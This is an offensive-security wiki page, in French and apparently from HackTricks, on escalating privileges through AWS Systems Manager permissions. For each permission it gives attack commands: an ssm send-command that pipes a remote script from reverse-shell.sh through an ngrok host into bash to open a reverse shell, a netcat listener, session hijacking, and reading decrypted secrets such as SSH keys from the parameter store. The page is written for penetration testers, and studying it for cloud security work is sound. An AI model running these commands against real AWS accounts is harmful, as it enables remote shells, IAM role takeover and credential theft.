# AWS - SSM Privesc

{{#include ../../../banners/hacktricks-training.md}}

## SSM

Pour plus d'informations sur SSM, consultez :

{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `ssm:SendCommand`

Un attaquant ayant la permission **`ssm:SendCommand`** peut **exécuter des commandes dans des instances** exécutant l'agent Amazon SSM et **compromettre le rôle IAM** s'exécutant à l'intérieur.
```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Dans le cas où vous utilisez cette technique pour élever les privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec :
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.

### `ssm:StartSession`

Un attaquant ayant la permission **`ssm:StartSession`** peut **démarrer une session similaire à SSH dans les instances** exécutant l'agent Amazon SSM et **compromettre le rôle IAM** s'exécutant à l'intérieur.
```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Pour démarrer une session, vous devez avoir le **SessionManagerPlugin** installé : [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)

**Impact potentiel :** Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.

#### Privesc vers ECS

Lorsque les **tâches ECS** s'exécutent avec **`ExecuteCommand` activé**, les utilisateurs ayant suffisamment de permissions peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du conteneur.\
Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “_exec_“ et le conteneur cible avec SSM Session Manager. (Plugin SSM Session Manager nécessaire pour que cela fonctionne)\
Par conséquent, les utilisateurs avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des tâches ECS** avec cette option activée en exécutant simplement :
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)

**Impact potentiel :** Privesc direct aux rôles `ECS`IAM attachés aux tâches en cours d'exécution avec `ExecuteCommand` activé.

### `ssm:ResumeSession`

Un attaquant ayant la permission **`ssm:ResumeSession`** peut re-**démarrer une session semblable à SSH dans des instances** exécutant l'agent Amazon SSM avec un état de session SSM **déconnecté** et **compromettre le rôle IAM** s'exécutant à l'intérieur.
```bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution et des sessions déconnectées.

### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)

Un attaquant avec les permissions mentionnées va pouvoir lister les **paramètres SSM** et **les lire en texte clair**. Dans ces paramètres, vous pouvez fréquemment **trouver des informations sensibles** telles que des clés SSH ou des clés API.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Impact potentiel :** Trouver des informations sensibles à l'intérieur des paramètres.

### `ssm:ListCommands`

Un attaquant avec cette permission peut lister toutes les **commandes** envoyées et espérer trouver des **informations sensibles** à leur sujet.
```
aws ssm list-commands
```
**Impact potentiel :** Trouver des informations sensibles dans les lignes de commande.

### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)

Un attaquant avec ces autorisations peut lister toutes les **commandes** envoyées et **lire la sortie** générée en espérant trouver des **informations sensibles** dessus.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Impact potentiel :** Trouver des informations sensibles dans la sortie des lignes de commande.

### Codebuild

Vous pouvez également utiliser SSM pour accéder à un projet codebuild en cours de construction :

{{#ref}}
aws-codebuild-privesc.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
